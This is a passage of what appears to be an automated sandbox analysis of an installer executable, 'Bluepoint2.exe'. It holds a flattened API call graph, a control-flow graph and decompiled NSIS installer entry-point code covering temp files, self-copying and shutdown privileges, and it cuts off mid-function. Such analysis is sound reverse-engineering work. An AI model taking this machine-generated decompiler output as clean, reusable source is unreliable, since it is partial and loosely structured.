RegSetValueExW 5739->5740 5743 403371 44 API calls 5739->5743 5744 40251f RegCloseKey 5740->5744 5741->5737 5742->5739 5743->5740 5744->5736 5747 402e51 5746->5747 5750 406503 5747->5750 5751 406512 5750->5751 5752 4024b6 5751->5752 5753 40651d RegCreateKeyExW 5751->5753 5752->5736 5752->5737 5752->5738 5753->5752 5754 404e0b 5755 404e37 5754->5755 5756 404e1b 5754->5756 5758 404e6a 5755->5758 5759 404e3d SHGetPathFromIDListW 5755->5759 5765 405cac GetDlgItemTextW 5756->5765 5761 404e54 SendMessageW 5759->5761 5762 404e4d 5759->5762 5760 404e28 SendMessageW 5760->5755 5761->5758 5763 40140b 2 API calls 5762->5763 5763->5761 5765->5760 5766 40290b 5767 402da6 17 API calls 5766->5767 5768 402912 FindFirstFileW 5767->5768 5769 40293a 5768->5769 5772 402925 5768->5772 5770 402943 5769->5770 5774 4065af wsprintfW 5769->5774 5775 406668 lstrcpynW 5770->5775 5774->5770 5775->5772 5776 40190c 5777 401943 5776->5777 5778 402da6 17 API calls 5777->5778 5779 401948 5778->5779 5780 405d74 67 API calls 5779->5780 5781 401951 5780->5781 5782 40190f 5783 402da6 17 API calls 5782->5783 5784 401916 5783->5784 5785 405cc8 MessageBoxIndirectW 5784->5785 5786 40191f 5785->5786 5787 401491 5788 4056ca 24 API calls 5787->5788 5789 401498 5788->5789 5790 402891 5791 402898 5790->5791 5792 402ba9 5790->5792 5793 402d84 17 API calls 5791->5793 5794 40289f 5793->5794 5795 4028ae SetFilePointer 5794->5795 5795->5792 5796 4028be 5795->5796 5798 4065af wsprintfW 5796->5798 5798->5792 5799 726f103d 5802 726f101b 5799->5802 5803 726f15b6 GlobalFree 5802->5803 5804 726f1020 5803->5804 5805 726f1027 GlobalAlloc 5804->5805 5806 726f1024 5804->5806 5805->5806 5807 726f15dd 3 API calls 5806->5807 5808 726f103b 5807->5808 5809 401f12 5810 402da6 17 API calls 5809->5810 5811 401f18 5810->5811 5812 402da6 17 API calls 5811->5812 5813 401f21 5812->5813 5814 402da6 17 API calls 5813->5814 5815 401f2a 5814->5815 5816 402da6 17 API calls 5815->5816 5817 401f33 5816->5817 5818 401423 24 API calls 5817->5818 5819 401f3a 5818->5819 5826 405c8e ShellExecuteExW 5819->5826 5821 401f82 5823 40292e 5821->5823 5827 406ae0 WaitForSingleObject 5821->5827 5824 401f9f CloseHandle 5824->5823 5826->5821 5828 406afa 5827->5828 5829 406b0c GetExitCodeProcess 5828->5829 5830 406a71 2 API calls 5828->5830 5829->5824 5831 406b01 WaitForSingleObject 5830->5831 5831->5828 5832 402f93 5833 402fa5 SetTimer 5832->5833 5834 402fbe 5832->5834 5833->5834 5835 40300c 5834->5835 5836 403012 MulDiv 5834->5836 5837 402fcc wsprintfW SetWindowTextW SetDlgItemTextW 5836->5837 5837->5835 5853 401d17 5854 402d84 17 API calls 5853->5854 5855 401d1d IsWindow 5854->5855 5856 401a20 5855->5856 5151 401b9b 5152 401ba8 5151->5152 5153 401bec 5151->5153 5156 401c31 5152->5156 5160 401bbf 5152->5160 5154 401bf1 5153->5154 5155 401c16 GlobalAlloc 5153->5155 5164 40239d 5154->5164 5172 406668 lstrcpynW 5154->5172 5157 4066a5 17 API calls 5155->5157 5158 4066a5 17 API calls 5156->5158 5156->5164 5157->5156 5161 402397 5158->5161 5170 406668 lstrcpynW 5160->5170 5161->5164 5165 405cc8 MessageBoxIndirectW 5161->5165 5162 401c03 GlobalFree 5162->5164 5165->5164 5166 401bce 5171 406668 lstrcpynW 5166->5171 5168 401bdd 5173 406668 lstrcpynW 5168->5173 5170->5166 5171->5168 5172->5162 5173->5164 5857 40261c 5858 402da6 17 API calls 5857->5858 5859 402623 5858->5859 5862 406158 GetFileAttributesW CreateFileW 5859->5862 5861 40262f 5862->5861 5870 40149e 5871 4014ac PostQuitMessage 5870->5871 5872 40239d 5870->5872 5871->5872 5873 40259e 5883 402de6 5873->5883 5876 402d84 17 API calls 5877 4025b1 5876->5877 5878 4025d9 RegEnumValueW 5877->5878 5879 4025cd RegEnumKeyW 5877->5879 5881 40292e 5877->5881 5880 4025ee RegCloseKey 5878->5880 5879->5880 5880->5881 5884 402da6 17 API calls 5883->5884 5885 402dfd 5884->5885 5886 4064d5 RegOpenKeyExW 5885->5886 5887 4025a8 5886->5887 5887->5876 5888 726f170d 5889 726f15b6 GlobalFree 5888->5889 5892 726f1725 5889->5892 5890 726f176b GlobalFree 5891 726f1740 5891->5890 5892->5890 5892->5891 5893 726f1757 VirtualFree 5892->5893 5893->5890 5894 4015a3 5895 402da6 17 API calls 5894->5895 5896 4015aa SetFileAttributesW 5895->5896 5897 4015bc 5896->5897 5898 401fa4 5899 402da6 17 API calls 5898->5899 5900 401faa 5899->5900 5901 4056ca 24 API calls 5900->5901 5902 401fb4 5901->5902 5903 405c4b 2 API calls 5902->5903 5904 401fba 5903->5904 5905 401fdd CloseHandle 5904->5905 5906 406ae0 5 API calls 5904->5906 5908 40292e 5904->5908 5905->5908 5909 401fcf 5906->5909 5909->5905 5911 4065af wsprintfW 5909->5911 5911->5905 5912 40202a 5913 402da6 17 API calls 5912->5913 5914 402031 5913->5914 5915 406a35 5 API calls 5914->5915 5916 402040 5915->5916 5917 40205c GlobalAlloc 5916->5917 5926 4020cc 5916->5926 5918 402070 5917->5918 5917->5926 5919 406a35 5 API calls 5918->5919 5920 402077 5919->5920 5921 406a35 5 API calls 5920->5921 5922 402081 5921->5922 5922->5926 5927 4065af wsprintfW 5922->5927 5924 4020ba 5928 4065af wsprintfW 5924->5928 5927->5924 5928->5926 5929 40252a 5930 402de6 17 API calls 5929->5930 5931 402534 5930->5931 5932 402da6 17 API calls 5931->5932 5933 40253d 5932->5933 5934 402548 RegQueryValueExW 5933->5934 5937 40292e 5933->5937 5935 40256e RegCloseKey 5934->5935 5936 402568 5934->5936 5935->5937 5936->5935 5940 4065af wsprintfW 5936->5940 5940->5935 5941 4021aa 5942 402da6 17 API calls 5941->5942 5943 4021b1 5942->5943 5944 402da6 17 API calls 5943->5944 5945 4021bb 5944->5945 5946 402da6 17 API calls 5945->5946 5947 4021c5 5946->5947 5948 402da6 17 API calls 5947->5948 5949 4021cf 5948->5949 5950 402da6 17 API calls 5949->5950 5951 4021d9 5950->5951 5952 402218 CoCreateInstance 5951->5952 5953 402da6 17 API calls 5951->5953 5956 402237 5952->5956 5953->5952 5954 401423 24 API calls 5955 4022f6 5954->5955 5956->5954 5956->5955 5964 726f1000 5965 726f101b 5 API calls 5964->5965 5966 726f1019 5965->5966 5967 401a30 5968 402da6 17 API calls 5967->5968 5969 401a39 ExpandEnvironmentStringsW 5968->5969 5970 401a4d 5969->5970 5972 401a60 5969->5972 5971 401a52 lstrcmpW 5970->5971 5970->5972 5971->5972 4758 405031 GetDlgItem GetDlgItem 4759 405083 7 API calls 4758->4759 4766 4052a8 4758->4766 4760 40512a DeleteObject 4759->4760 4761 40511d SendMessageW 4759->4761 4762 405133 4760->4762 4761->4760 4763 40516a 4762->4763 4765 405142 4762->4765 4815 4045c4 4763->4815 4764 40538a 4770 405436 4764->4770 4776 405629 4764->4776 4781 4053e3 SendMessageW 4764->4781 4768 4066a5 17 API calls 4765->4768 4766->4764 4767 40536b 4766->4767 4773 405306 4766->4773 4767->4764 4777 40537c SendMessageW 4767->4777 4774 40514c SendMessageW SendMessageW 4768->4774 4771 405440 SendMessageW 4770->4771 4772 405448 4770->4772 4771->4772 4783 405461 4772->4783 4784 40545a ImageList_Destroy 4772->4784 4800 405471 4772->4800 4820 404f7f SendMessageW 4773->4820 4774->4762 4775 40517e 4780 4045c4 18 API calls 4775->4780 4837 40462b 4776->4837 4777->4764 4795 40518f 4780->4795 4781->4776 4786 4053f8 SendMessageW 4781->4786 4787 40546a GlobalFree 4783->4787 4783->4800 4784->4783 4785 4055eb 4785->4776 4790 4055fd ShowWindow GetDlgItem ShowWindow 4785->4790 4789 40540b 4786->4789 4787->4800 4788 40526a GetWindowLongW SetWindowLongW 4791 405283 4788->4791 4801 40541c SendMessageW 4789->4801 4790->4776 4792 4052a0 4791->4792 4793 405288 ShowWindow 4791->4793 4819 4045f9 SendMessageW 4792->4819 4818 4045f9 SendMessageW 4793->4818 4794 405317 4794->4767 4795->4788 4796 405265 4795->4796 4799 4051e2 SendMessageW 4795->4799 4803 405220 SendMessageW 4795->4803 4804 405234 SendMessageW 4795->4804 4796->4788 4796->4791 4799->4795 4800->4785 4807 4054ac 4800->4807 4825 404fff 4800->4825 4801->4770 4802 40529b 4802->4776 4803->4795 4804->4795 4806 4055b6 4808 4055c1 InvalidateRect 4806->4808 4812 4055cd 4806->4812 4809 4054da SendMessageW 4807->4809 4811 4054f0 4807->4811 4808->4812 4809->4811 4810 405551 4813 405564 SendMessageW SendMessageW 4810->4813 4811->4806 4811->4810 4811->4813 4812->4785 4834 404f3a 4812->4834 4813->4811 4816 4066a5 17 API calls 4815->4816 4817 4045cf SetDlgItemTextW 4816->4817 4817->4775 4818->4802 4819->4766 4821 404fa2 GetMessagePos ScreenToClient SendMessageW 4820->4821 4822 404fde SendMessageW 4820->4822 4823 404fd6 4821->4823 4824 404fdb 4821->4824 4822->4823 4823->4794 4824->4822 4851 406668 lstrcpynW 4825->4851 4827 405012 4852 4065af wsprintfW 4827->4852 4829 40501c 4830 40140b 2 API calls 4829->4830 4831 405025 4830->4831 4853 406668 lstrcpynW 4831->4853 4833 40502c 4833->4807 4854 404e71 4834->4854 4836 404f4f 4836->4785 4838 4046ee 4837->4838 4839 404643 GetWindowLongW 4837->4839 4839->4838 4840 404658 4839->4840 4840->4838 4841 404685 GetSysColor 4840->4841 4842 404688 4840->4842 4841->4842 4843 404698 SetBkMode 4842->4843 4844 40468e SetTextColor 4842->4844 4845 4046b0 GetSysColor 4843->4845 4846 4046b6 4843->4846 4844->4843 4845->4846 4847 4046bd SetBkColor 4846->4847 4848 4046c7 4846->4848 4847->4848 4848->4838 4849 4046e1 CreateBrushIndirect 4848->4849 4850 4046da DeleteObject 4848->4850 4849->4838 4850->4849 4851->4827 4852->4829 4853->4833 4855 404e8a 4854->4855 4856 4066a5 17 API calls 4855->4856 4857 404eee 4856->4857 4858 4066a5 17 API calls 4857->4858 4859 404ef9 4858->4859 4860 4066a5 17 API calls 4859->4860 4861 404f0f lstrlenW wsprintfW SetDlgItemTextW 4860->4861 4861->4836 5978 4023b2 5979 4023c0 5978->5979 5980 4023ba 5978->5980 5982 402da6 17 API calls 5979->5982 5986 4023ce 5979->5986 5981 402da6 17 API calls 5980->5981 5981->5979 5982->5986 5983 4023dc 5985 402da6 17 API calls 5983->5985 5984 402da6 17 API calls 5984->5983 5987 4023e5 WritePrivateProfileStringW 5985->5987 5986->5983 5986->5984 5988 402434 5989 402467 5988->5989 5990 40243c 5988->5990 5992 402da6 17 API calls 5989->5992 5991 402de6 17 API calls 5990->5991 5993 402443 5991->5993 5994 40246e 5992->5994 5996 402da6 17 API calls 5993->5996 5998 40247b 5993->5998 5999 402e64 5994->5999 5997 402454 RegDeleteValueW RegCloseKey 5996->5997 5997->5998 6000 402e78 5999->6000 6001 402e71 5999->6001 6000->6001 6003 402ea9 6000->6003 6001->5998 6004 4064d5 RegOpenKeyExW 6003->6004 6005 402ed7 6004->6005 6006 402ee7 RegEnumValueW 6005->6006 6013 402f81 6005->6013 6015 402f0a 6005->6015 6007 402f71 RegCloseKey 6006->6007 6006->6015 6007->6013 6008 402f46 RegEnumKeyW 6009 402f4f RegCloseKey 6008->6009 6008->6015 6010 406a35 5 API calls 6009->6010 6011 402f5f 6010->6011 6011->6013 6014 402f63 RegDeleteKeyW 6011->6014 6012 402ea9 6 API calls 6012->6015 6013->6001 6014->6013 6015->6007 6015->6008 6015->6009 6015->6012 6016 404734 lstrlenW 6017 404753 6016->6017 6018 404755 WideCharToMultiByte 6016->6018 6017->6018 6019 401735 6020 402da6 17 API calls 6019->6020 6021 40173c SearchPathW 6020->6021 6022 401757 6021->6022 6023 404ab5 6024 404ae1 6023->6024 6025 404af2 6023->6025 6084 405cac GetDlgItemTextW 6024->6084 6027 404afe GetDlgItem 6025->6027 6033 404b5d 6025->6033 6030 404b12 6027->6030 6028 404c41 6034 404df0 6028->6034 6086 405cac GetDlgItemTextW 6028->6086 6029 404aec 6031 4068ef 5 API calls 6029->6031 6032 404b26 SetWindowTextW 6030->6032 6036 405fe2 4 API calls 6030->6036 6031->6025 6037 4045c4 18 API calls 6032->6037 6033->6028 6033->6034 6038 4066a5 17 API calls 6033->6038 6040 40462b 8 API calls 6034->6040 6042 404b1c 6036->6042 6043 404b42 6037->6043 6044 404bd1 SHBrowseForFolderW 6038->6044 6039 404c71 6045 40603f 18 API calls 6039->6045 6041 404e04 6040->6041 6042->6032 6049 405f37 3 API calls 6042->6049 6046 4045c4 18 API calls 6043->6046 6044->6028 6047 404be9 CoTaskMemFree 6044->6047 6048 404c77 6045->6048 6050 404b50 6046->6050 6051 405f37 3 API calls 6047->6051 6087 406668 lstrcpynW 6048->6087 6049->6032 6085 4045f9 SendMessageW 6050->6085 6053 404bf6 6051->6053 6056 404c2d SetDlgItemTextW 6053->6056 6060 4066a5 17 API calls 6053->6060 6055 404b56 6058 406a35 5 API calls 6055->6058 6056->6028 6057 404c8e 6059 406a35 5 API calls 6057->6059 6058->6033 6066 404c95 6059->6066 6061 404c15 lstrcmpiW 6060->6061 6061->6056 6064 404c26 lstrcatW 6061->6064 6062 404cd6 6088 406668 lstrcpynW 6062->6088 6064->6056 6065 404cdd 6067 405fe2 4 API calls 6065->6067 6066->6062 6070 405f83 2 API calls 6066->6070 6072 404d2e 6066->6072 6068 404ce3 GetDiskFreeSpaceW 6067->6068 6071 404d07 MulDiv 6068->6071 6068->6072 6070->6066 6071->6072 6073 404d9f 6072->6073 6075 404f3a 20 API calls 6072->6075 6074 404dc2 6073->6074 6076 40140b 2 API calls 6073->6076 6089 4045e6 EnableWindow 6074->6089 6077 404d8c 6075->6077 6076->6074 6079 404da1 SetDlgItemTextW 6077->6079 6080 404d91 6077->6080 6079->6073 6082 404e71 20 API calls 6080->6082 6081 404dde 6081->6034 6083 404a0e SendMessageW 6081->6083 6082->6073 6083->6034 6084->6029 6085->6055 6086->6039 6087->6057 6088->6065 6089->6081 6090 401d38 6091 402d84 17 API calls 6090->6091 6092 401d3f 6091->6092 6093 402d84 17 API calls 6092->6093 6094 401d4b GetDlgItem 6093->6094 6095 402638 6094->6095 6096 4014b8 6097 4014be 6096->6097 6098 401389 2 API calls 6097->6098 6099 4014c6 6098->6099 5180 40563e 5181 405662 5180->5181 5182 40564e 5180->5182 5185 40566a IsWindowVisible 5181->5185 5191 40568a 5181->5191 5183 405654 5182->5183 5184 4056ab 5182->5184 5187 404610 SendMessageW 5183->5187 5186 4056b0 CallWindowProcW 5184->5186 5185->5184 5188 405677 5185->5188 5189 40565e 5186->5189 5187->5189 5190 404f7f 5 API calls 5188->5190 5192 405681 5190->5192 5191->5186 5193 404fff 4 API calls 5191->5193 5192->5191 5193->5184 6100 40263e 6101 402652 6100->6101 6102 40266d 6100->6102 6103 402d84 17 API calls 6101->6103 6104 402672 6102->6104 6105 40269d 6102->6105 6114 402659 6103->6114 6107 402da6 17 API calls 6104->6107 6106 402da6 17 API calls 6105->6106 6108 4026a4 lstrlenW 6106->6108 6109 402679 6107->6109 6108->6114 6117 40668a WideCharToMultiByte 6109->6117 6111 40268d lstrlenA 6111->6114 6112 4026e7 6113 4026d1 6113->6112 6115 40620a WriteFile 6113->6115 6114->6112 6114->6113 6116 406239 5 API calls 6114->6116 6115->6112 6116->6113 6117->6111

                                                    Control-flow Graph

                                                    • Executed
                                                    • Not Executed
                                                    control_flow_graph 0 403640-403690 SetErrorMode GetVersionExW 1 403692-4036c6 GetVersionExW 0->1 2 4036ca-4036d1 0->2 1->2 3 4036d3 2->3 4 4036db-40371b 2->4 3->4 5 40371d-403725 call 406a35 4->5 6 40372e 4->6 5->6 11 403727 5->11 8 403733-403747 call 4069c5 lstrlenA 6->8 13 403749-403765 call 406a35 * 3 8->13 11->6 20 403776-4037d8 #17 OleInitialize SHGetFileInfoW call 406668 GetCommandLineW call 406668 13->20 21 403767-40376d 13->21 28 4037e1-4037f4 call 405f64 CharNextW 20->28 29 4037da-4037dc 20->29 21->20 25 40376f 21->25 25->20 32 4038eb-4038f1 28->32 29->28 33 4038f7 32->33 34 4037f9-4037ff 32->34 37 40390b-403925 GetTempPathW call 40360f 33->37 35 403801-403806 34->35 36 403808-40380e 34->36 35->35 35->36 38 403810-403814 36->38 39 403815-403819 36->39 47 403927-403945 GetWindowsDirectoryW lstrcatW call 40360f 37->47 48 40397d-403995 DeleteFileW call 4030d0 37->48 38->39 41 4038d9-4038e7 call 405f64 39->41 42 40381f-403825 39->42 41->32 58 4038e9-4038ea 41->58 45 403827-40382e 42->45 46 40383f-403878 42->46 51 403830-403833 45->51 52 403835 45->52 53 403894-4038ce 46->53 54 40387a-40387f 46->54 47->48 62 403947-403977 GetTempPathW lstrcatW SetEnvironmentVariableW * 2 call 40360f 47->62 64 40399b-4039a1 48->64 65 403b6c-403b7a call 403c25 OleUninitialize 48->65 51->46 51->52 52->46 56 4038d0-4038d4 53->56 57 4038d6-4038d8 53->57 54->53 60 403881-403889 54->60 56->57 63 4038f9-403906 call 406668 56->63 57->41 58->32 66 403890 60->66 67 40388b-40388e 60->67 62->48 62->65 63->37 69 4039a7-4039ba call 405f64 64->69 70 403a48-403a4f call 403d17 64->70 79 403b91-403b97 65->79 80 403b7c-403b8b call 405cc8 ExitProcess 65->80 66->53 67->53 67->66 84 403a0c-403a19 69->84 85 4039bc-4039f1 69->85 78 403a54-403a57 70->78 78->65 82 403b99-403bae GetCurrentProcess OpenProcessToken 79->82 83 403c0f-403c17 79->83 89 403bb0-403bd9 LookupPrivilegeValueW AdjustTokenPrivileges 82->89 90 403bdf-403bed call 406a35 82->90 92 403c19 83->92 93 403c1c-403c1f ExitProcess 83->93 86 403a1b-403a29 call 40603f 84->86 87 403a5c-403a70 call 405c33 lstrcatW 84->87 91 4039f3-4039f7 85->91 86->65 103 403a2f-403a45 call 406668 * 2 86->103 106 403a72-403a78 lstrcatW 87->106 107 403a7d-403a97 lstrcatW lstrcmpiW 87->107 89->90 104 403bfb-403c06 ExitWindowsEx 90->104 105 403bef-403bf9 90->105 97 403a00-403a08 91->97 98 4039f9-4039fe 91->98 92->93 97->91 102 403a0a 97->102 98->97 98->102 102->84 103->70 104->83 111 403c08-403c0a call 40140b 104->111 105->104 105->111 106->107 108 403b6a 107->108 109 403a9d-403aa0 107->109 108->65 112 403aa2-403aa7 call 405b99 109->112 113 403aa9 call 405c16 109->113 111->83 121 403aae-403abe SetCurrentDirectoryW 112->121 113->121 123 403ac0-403ac6 call 406668 121->123 124 403acb-403af7 call 406668 121->124 123->124 128 403afc-403b17 call 4066a5 DeleteFileW 124->128 131 403b57-403b61 128->131 132 403b19-403b29 CopyFileW 128->132 131->128 134 403b63-403b65 call 406428 131->134 132->131 133 403b2b-403b4b call 406428 call 4066a5 call 405c4b 132->133 133->131 142 403b4d-403b54 CloseHandle 133->142 134->108 142->131
                                                    C-Code - Quality: 79%
                                                    			_entry_() {
                                                    				WCHAR* _v8;
                                                    				signed int _v12;
                                                    				void* _v16;
                                                    				signed int _v20;
                                                    				int _v24;
                                                    				int _v28;
                                                    				struct _TOKEN_PRIVILEGES _v40;
                                                    				signed char _v42;
                                                    				int _v44;
                                                    				signed int _v48;
                                                    				intOrPtr _v278;
                                                    				signed short _v310;
                                                    				struct _OSVERSIONINFOW _v324;
                                                    				struct _SHFILEINFOW _v1016;
                                                    				intOrPtr* _t88;
                                                    				WCHAR* _t92;
                                                    				char* _t94;
                                                    				void _t97;
                                                    				void* _t116;
                                                    				WCHAR* _t118;
                                                    				signed int _t120;
                                                    				intOrPtr* _t124;
                                                    				void* _t138;
                                                    				void* _t144;
                                                    				void* _t149;
                                                    				void* _t153;
                                                    				void* _t158;
                                                    				signed int _t168;
                                                    				void* _t171;
                                                    				void* _t176;
                                                    				intOrPtr _t178;
                                                    				intOrPtr _t179;
                                                    				intOrPtr* _t180;
                                                    				int _t189;
                                                    				void* _t190;
                                                    				void* _t199;
                                                    				signed int _t205;
                                                    				signed int _t210;
                                                    				signed int _t215;
                                                    				signed int _t217;
                                                    				int* _t219;
                                                    				signed int _t227;
                                                    				signed int _t230;
                                                    				CHAR* _t232;
                                                    				char* _t233;
                                                    				signed int _t234;
                                                    				WCHAR* _t235;
                                                    				void* _t251;
                                                    
                                                    				_t217 = 0x20;
                                                    				_t189 = 0;
                                                    				_v24 = 0;
                                                    				_v8 = L"Error writing temporary file. Make sure your temp folder is valid.";
                                                    				_v20 = 0;
                                                    				SetErrorMode(0x8001); // executed
                                                    				_v324.szCSDVersion = 0;
                                                    				_v48 = 0;
                                                    				_v44 = 0;
                                                    				_v324.dwOSVersionInfoSize = 0x11c;
                                                    				if(GetVersionExW( &_v324) == 0) {
                                                    					_v324.dwOSVersionInfoSize = 0x114;
                                                    					GetVersionExW( &_v324);
                                                    					asm("sbb eax, eax");
                                                    					_v42 = 4;
                                                    					_v48 =  !( ~(_v324.szCSDVersion - 0x53)) & _v278 + 0xffffffd0;
                                                    				}
                                                    				if(_v324.dwMajorVersion < 0xa) {
                                                    					_v310 = _v310 & 0x00000000;
                                                    				}
                                                    				 *0x42a318 = _v324.dwBuildNumber;
                                                    				 *0x42a31c = (_v324.dwMajorVersion & 0x0000ffff | _v324.dwMinorVersion & 0x000000ff) << 0x00000010 | _v48 & 0x0000ffff | _v42 & 0x000000ff;
                                                    				if( *0x42a31e != 0x600) {
                                                    					_t180 = E00406A35(_t189);
                                                    					if(_t180 != _t189) {
                                                    						 *_t180(0xc00);
                                                    					}
                                                    				}
                                                    				_t232 = "UXTHEME";
                                                    				do {
                                                    					E004069C5(_t232); // executed
                                                    					_t232 =  &(_t232[lstrlenA(_t232) + 1]);
                                                    				} while ( *_t232 != 0);
                                                    				E00406A35(0xb);
                                                    				 *0x42a264 = E00406A35(9);
                                                    				_t88 = E00406A35(7);
                                                    				if(_t88 != _t189) {
                                                    					_t88 =  *_t88(0x1e);
                                                    					if(_t88 != 0) {
                                                    						 *0x42a31c =  *0x42a31c | 0x00000080;
                                                    					}
                                                    				}
                                                    				__imp__#17();
                                                    				__imp__OleInitialize(_t189); // executed
                                                    				 *0x42a320 = _t88;
                                                    				SHGetFileInfoW(0x421708, _t189,  &_v1016, 0x2b4, _t189); // executed
                                                    				E00406668(0x429260, L"NSIS Error");
                                                    				_t92 = GetCommandLineW();
                                                    				_t233 = L"\"C:\\Users\\engineer\\Desktop\\Bluepoint2.exe\" ";
                                                    				E00406668(_t233, _t92);
                                                    				_t94 = _t233;
                                                    				_t234 = 0x22;
                                                    				 *0x42a260 = 0x400000;
                                                    				_t251 = L"\"C:\\Users\\engineer\\Desktop\\Bluepoint2.exe\" " - _t234; // 0x22
                                                    				if(_t251 == 0) {
                                                    					_t217 = _t234;
                                                    					_t94 =  &M00435002;
                                                    				}
                                                    				_t199 = CharNextW(E00405F64(_t94, _t217));
                                                    				_v16 = _t199;
                                                    				while(1) {
                                                    					_t97 =  *_t199;
                                                    					_t252 = _t97 - _t189;
                                                    					if(_t97 == _t189) {
                                                    						break;
                                                    					}
                                                    					_t210 = 0x20;
                                                    					__eflags = _t97 - _t210;
                                                    					if(_t97 != _t210) {
                                                    						L17:
                                                    						__eflags =  *_t199 - _t234;
                                                    						_v12 = _t210;
                                                    						if( *_t199 == _t234) {
                                                    							_v12 = _t234;
                                                    							_t199 = _t199 + 2;
                                                    							__eflags = _t199;
                                                    						}
                                                    						__eflags =  *_t199 - 0x2f;
                                                    						if( *_t199 != 0x2f) {
                                                    							L32:
                                                    							_t199 = E00405F64(_t199, _v12);
                                                    							__eflags =  *_t199 - _t234;
                                                    							if(__eflags == 0) {
                                                    								_t199 = _t199 + 2;
                                                    								__eflags = _t199;
                                                    							}
                                                    							continue;
                                                    						} else {
                                                    							_t199 = _t199 + 2;
                                                    							__eflags =  *_t199 - 0x53;
                                                    							if( *_t199 != 0x53) {
                                                    								L24:
                                                    								asm("cdq");
                                                    								asm("cdq");
                                                    								_t215 = L"NCRC" & 0x0000ffff;
                                                    								asm("cdq");
                                                    								_t227 = ( *0x40a37e & 0x0000ffff) << 0x00000010 |  *0x40a37c & 0x0000ffff | _t215;
                                                    								__eflags =  *_t199 - (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t215);
                                                    								if( *_t199 != (( *0x40a37a & 0x0000ffff) << 0x00000010 | _t215)) {
                                                    									L29:
                                                    									asm("cdq");
                                                    									asm("cdq");
                                                    									_t210 = L" /D=" & 0x0000ffff;
                                                    									asm("cdq");
                                                    									_t230 = ( *0x40a372 & 0x0000ffff) << 0x00000010 |  *0x40a370 & 0x0000ffff | _t210;
                                                    									__eflags =  *(_t199 - 4) - (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t210);
                                                    									if( *(_t199 - 4) != (( *0x40a36e & 0x0000ffff) << 0x00000010 | _t210)) {
                                                    										L31:
                                                    										_t234 = 0x22;
                                                    										goto L32;
                                                    									}
                                                    									__eflags =  *_t199 - _t230;
                                                    									if( *_t199 == _t230) {
                                                    										 *(_t199 - 4) = _t189;
                                                    										__eflags = _t199;
                                                    										E00406668(L"C:\\Users\\engineer\\AppData\\Local\\Temp", _t199);
                                                    										L37:
                                                    										_t235 = L"C:\\Users\\engineer\\AppData\\Local\\Temp\\";
                                                    										GetTempPathW(0x400, _t235);
                                                    										_t116 = E0040360F(_t199, _t252);
                                                    										_t253 = _t116;
                                                    										if(_t116 != 0) {
                                                    											L40:
                                                    											DeleteFileW(L"1033"); // executed
                                                    											_t118 = E004030D0(_t255, _v20); // executed
                                                    											_v8 = _t118;
                                                    											if(_t118 != _t189) {
                                                    												L68:
                                                    												E00403C25();
                                                    												__imp__OleUninitialize();
                                                    												if(_v8 == _t189) {
                                                    													if( *0x42a2f4 == _t189) {
                                                    														L77:
                                                    														_t120 =  *0x42a30c;
                                                    														if(_t120 != 0xffffffff) {
                                                    															_v24 = _t120;
                                                    														}
                                                    														ExitProcess(_v24);
                                                    													}
                                                    													if(OpenProcessToken(GetCurrentProcess(), 0x28,  &_v16) != 0) {
                                                    														LookupPrivilegeValueW(_t189, L"SeShutdownPrivilege",  &(_v40.Privileges));
                                                    														_v40.PrivilegeCount = 1;
                                                    														_v28 = 2;
                                                    														AdjustTokenPrivileges(_v16, _t189,  &_v40, _t189, _t189, _t189);
                                                    													}
                                                    													_t124 = E00406A35(4);
                                                    													if(_t124 == _t189) {
                                                    														L75:
                                                    														if(ExitWindowsEx(2, 0x80040002) != 0) {
                                                    															goto L77;
                                                    														}
                                                    														goto L76;
                                                    													} else {
                                                    														_push(0x80040002);
                                                    														_push(0x25);
                                                    														_push(_t189);
                                                    														_push(_t189);
                                                    														_push(_t189);
                                                    														if( *_t124() == 0) {
                                                    															L76:
                                                    															E0040140B(9);
                                                    															goto L77;
                                                    														}
                                                    														goto L75;
                                                    													}
                                                    												}
                                                    												E00405CC8(_v8, 0x200010);
                                                    												ExitProcess(2);
                                                    											}
                                                    											if( *0x42a27c == _t189) {
                                                    												L51:
                                                    												 *0x42a30c =  *0x42a30c | 0xffffffff;
                                                    												_v24 = E00403D17(_t265);
                                                    												goto L68;
                                                    											}
                                                    											_t219 = E00405F64(L"\"C:\\Users\\engineer\\Desktop\\Bluepoint2.exe\" ", _t189);
                                                    											if(_t219 < L"\"C:\\Users\\engineer\\Desktop\\Bluepoint2.exe\" ") {
                                                    												L48:
                                                    												_t264 = _t219 - L"\"C:\\Users\\engineer\\Desktop\\Bluepoint2.exe\" ";
                                                    												_v8 = L"Error launching installer";
                                                    												if(_t219 < L"\"C:\\Users\\engineer\\Desktop\\Bluepoint2.exe\" ") {
                                                    													_t190 = E00405C33(__eflags);
                                                    													lstrcatW(_t235, L"~nsu");
                                                    													__eflags = _t190;
                                                    													if(_t190 != 0) {
                                                    														lstrcatW(_t235, "A");
                                                    													}
                                                    													lstrcatW(_t235, L".tmp");
                                                    													_t138 = lstrcmpiW(_t235, 0x436800);
                                                    													__eflags = _t138;
                                                    													if(_t138 == 0) {
                                                    														L67:
                                                    														_t189 = 0;
                                                    														__eflags = 0;
                                                    														goto L68;
                                                    													} else {
                                                    														__eflags = _t190;
                                                    														_push(_t235);
                                                    														if(_t190 == 0) {
                                                    															E00405C16();
                                                    														} else {
                                                    															E00405B99();
                                                    														}
                                                    														SetCurrentDirectoryW(_t235);
                                                    														__eflags = L"C:\\Users\\engineer\\AppData\\Local\\Temp"; // 0x43
                                                    														if(__eflags == 0) {
                                                    															E00406668(L"C:\\Users\\engineer\\AppData\\Local\\Temp", 0x436800);
                                                    														}
                                                    														E00406668(0x42b000, _v16);
                                                    														_t202 = "A" & 0x0000ffff;
                                                    														_t144 = ( *0x40a316 & 0x0000ffff) << 0x00000010 | "A" & 0x0000ffff;
                                                    														__eflags = _t144;
                                                    														_v12 = 0x1a;
                                                    														 *0x42b800 = _t144;
                                                    														do {
                                                    															E004066A5(0, 0x420f08, _t235, 0x420f08,  *((intOrPtr*)( *0x42a270 + 0x120)));
                                                    															DeleteFileW(0x420f08);
                                                    															__eflags = _v8;
                                                    															if(_v8 != 0) {
                                                    																_t149 = CopyFileW(L"C:\\Users\\engineer\\Desktop\\Bluepoint2.exe", 0x420f08, 1);
                                                    																__eflags = _t149;
                                                    																if(_t149 != 0) {
                                                    																	E00406428(_t202, 0x420f08, 0);
                                                    																	E004066A5(0, 0x420f08, _t235, 0x420f08,  *((intOrPtr*)( *0x42a270 + 0x124)));
                                                    																	_t153 = E00405C4B(0x420f08);
